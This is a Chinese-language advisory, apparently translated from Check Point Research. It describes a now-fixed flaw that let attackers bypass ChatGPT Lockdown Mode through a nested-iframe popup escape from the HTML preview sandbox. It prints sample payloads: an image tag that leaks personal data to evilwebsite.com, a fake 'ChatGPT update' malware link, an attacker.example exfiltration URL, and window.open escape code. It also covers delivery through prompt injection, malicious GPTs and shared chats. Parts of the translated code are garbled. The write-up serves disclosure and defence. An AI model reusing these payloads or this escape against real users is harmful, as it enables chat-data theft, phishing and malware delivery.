ChatGPT封锁模式绕过:钓鱼、恶意软件传播与静默数据泄露
主要要点
OpenAI 最近推出了“锁定模式”,这是一个可选的高级安全设置,旨在保护敏感用户数据免受基于提示注入的窃取攻击。
Check Point Research发现了一个漏洞,使攻击者能够绕过锁定模式,使其核心保护失效。
该漏洞暴露了广泛的攻击面,使得整个聊天历史的无声泄露、通过钓鱼进行凭证盗取以及恶意软件传播成为可能。
在ChatGPT Classic中,攻击无需任何用户互动:仅仅进行对话即可触发无声数据泄露。
简介
今年早些时候,Check Point Research披露了ChatGPT代码执行时的安全漏洞,允许敏感对话数据通过DNS隧道——一种隐藏的出站通道——悄然泄露到攻击者控制的服务器,绕过了运行时的网络隔离。这个问题很快被修复。
此外,OpenAI后来推出了新的安全功能:锁定模式。
锁定模式是登录 ChatGPT 用户的可选高级安全设置。其目的是降低提示注入攻击通过导致ChatGPT或其工具发出外部网页、应用、连接器或文件下载请求,从而泄露敏感数据的风险。一个经典例子,见OpenAI关于URL安全的文章,是攻击者诱使AI加载链接,比如——这些私密数据最终进入了攻击者的服务器日志,尽管聊天中从未出现任何可疑内容。attacker.example/collect?data=<private data>
鉴于无论如何实施防护措施,即时注入仍是持续存在的风险,封锁模式通过切断数据可能离开对话的渠道来缓解这一风险。启用后,它限制了对缓存内容的实时网页访问,阻止从互联网加载和显示图像,禁用 Canvas 生成代码的网络请求,并关闭深度研究、代理模式、实时连接器和文件下载。

我们发现ChatGPT存在一个漏洞,允许攻击者绕过锁定模式,秘密将聊天数据窃取到外部服务器。
视频1——整个聊天记录被无通知地转移到第三方服务器,绕过了锁定模式。
涉及该漏洞的潜在攻击场景不仅限于聊天数据泄露。该漏洞使得 ChatGPT Classic 界面控,包括显示任意内容的弹窗,为各种钓鱼攻击打开了大门。
攻击可以通过多种方式实施:通过恶意提示、恶意GPT或共享聊天。
以下章节将介绍漏洞背后的技术细节,并梳理可能的利用场景。
技术细节
2026年2月,OpenAI将HTML页面预览功能加入了ChatGPT代码块。它看起来像这样:

当然,实现过程中也包含多项保护措施,因为在ChatGPT界面内用JavaScript渲染用户控制的HTML,可能会直接为私密数据外泄创造一条路径。
最明显的攻击场景包括:
嵌入包含聊天数据的外部图像:
如果能渲染此类图像,攻击者可能会触发零点击私密数据的窃取。<img src="<https://evilwebsite.com/?q=personal_data>" />嵌入外部链接:这将使攻击者能够直接在ChatGPT界面内植入逼真的社会工程诱饵,并通过共享聊天分发。
<a href="<https://evilwebsite.com/malware.exe>">Download ChatGPT update</a>通过带有指令
的链接或JavaScript打开任意URL的弹窗:
在ChatGPT经典客户端中,这种情况风险尤大,用户可能将弹窗视为受信任应用上下文的一部分。target="_blank"<a href="<https://evilwebsite.com/>" target="_blank">Click me</a>window.open("<https://evilwebsite.com/>", "_blank", "width=380,height=260");读取 cookie 或 数据。这会带来会话被妥协的风险。
localStoragechatgpt.com
这些情景通过多层隔离和运行时强制措施有效缓解。
渲染后的HTML被放置在一个沙盒中,将用户控制的内容与ChatGPT应用的主要上下文分开,防止渲染页面直接访问父文档、ChatGPT UI状态、Cookie或关联的。localStoragechatgpt.com
页面所有尝试向外部资源发送数据、加载远程图像、脚本、链接或打开任意外部 URL 的行为都会被沙盒拦截并以警告形式显示:

沙盒实现为两个嵌套的i帧。如果我们看实现,会发现沙箱并不会限制 iframe 中的某些操作。例如,
<code>allow-popups</code>
以及
<code>allow-popups-to-escape-sandbox</code>
权限已启用。

弹窗的控制方式不同。沙盒脚本重新定义了函数:window.open
窗户。open: h=>{if(!h)返回空;const{location:f}=r;返回 an(o,f,h),null}
因此,当网页显示在弹窗时,ChatGPT 不会允许,直到用户批准该操作。当页面尝试打开一个空 URL 的弹窗,或者函数直接返回 ,而用户甚至看不到通知时。iframeabout:blanknull
然而,弹出窗口并不受沙盒明确限制,因为它拥有该令牌。iframeallow-popups
因此,如果我们能获得一个真正的函数,就能打开弹窗,绕过HTML沙盒限制,甚至锁定模式。事实上,我们可以在沙箱页面内再创建一个嵌套的 One,并利用它的功能:window.openiframecontentWindow.open
窗户。open(“about:blank”); 被封锁
创建嵌套的iframe
var f = 文档。createElement('iframe');
记录。身体。appendChild(f);
f.contentWindow。open(“about:blank”); 著作
此外,攻击者成功打开弹窗后,可以放置任意HTML代码,但由于令牌存在,这些代码将不再在沙盒中执行。allow-popups-to-escape-sandbox
攻击面:数据泄露、钓鱼和恶意软件在可信接口下卸。
这一漏洞打开了广泛的攻击面。它可能实现整个聊天记录和上传文件的秘密窃取,伪装成合法更新的恶意软件传播,甚至验证资格被盗。下面,我们将带您了解几个场景,并解释每种情况的运作方式。
通过伪造应用窗口传播恶意软件
通常,默认浏览器设置会阻止JavaScript打开弹窗。打开新窗口通常需要用户明确操作,比如点击链接或按钮。
攻击者需要实施一个合理的诱饵,诱使用户点击生成的预览。由于攻击者控制生成页面的内容,制作一个令人信服的诱饵非常简单。打开的窗口会保留ChatGPT应用的图标,而标题则由攻击者控制,给人一种用户仍在与ChatGPT应用互动的错觉。例如,这可以用来诱骗用户下载伪装成应用程序更新的恶意软件。ChatGPT Classic 应用不支持自动下载文件,因此下载文件时,用户还需点击链接。
这种情景在浏览器中实现更为简单,因为自动下载不会被阻止。此外,受害者甚至不需要注册账号,攻击者只需分享包含恶意页面的聊天内容,这使得在共享聊天中点击内容变得危险:
ChatGPT 经典版中的零点击利用
我们发现,基于Electron的ChatGPT Classic应用即使没有用户手势也能正常工作。这使得该漏洞极为危险:攻击者可以悄无声息地窃取数据,无需用户任何互动,仅仅进行对话就足以触发攻击。这在视频1中得到了展示,恶意GPT悄无声息地将聊天消息泄露给攻击者控制的服务器。window.open
除此之外,我们还发现可以在ChatGPT主应用窗口重新加载内容,并代表用户执行某些操作,比如强制其账户登出。这可能让攻击者设计一个令人信服的诱饵,诱使用户在攻击者控制的页面上重新认证,从而悄无声息地窃取其凭证。
结论
Check Point Research负责任地向OpenAI披露了这一漏洞。2026年9月18日,OpenAI通知我们,已通过移除外部HTML预览沙盒iframe中的权限和来部署修复。随后我们重新测试了该问题,确认本文所述的利用技术已不再有效。allow-popupsallow-popups-to-escape-sandbox
随着AI助手发展为完整的执行环境,在云端运行代码并在客户端渲染内容,同时处理医疗记录、财务数据及其他高度敏感的信息,每一项新功能都扩大了攻击面,包括专为便利而设计的功能。
防护栏以及AI代理和应用内置的安全功能有助于减轻威胁,但它们仍无法提供绝对的保护保证。在将敏感信息托付给AI或授权其完全访问你电脑之前,这一点值得铭记。保障这些系统的安全性需要超越单个功能,全面考虑整个平台。现代人工智能助手的好处巨大,但安全采用它们需要对每一个层面的细致关注,包括用户从未考虑过的层面。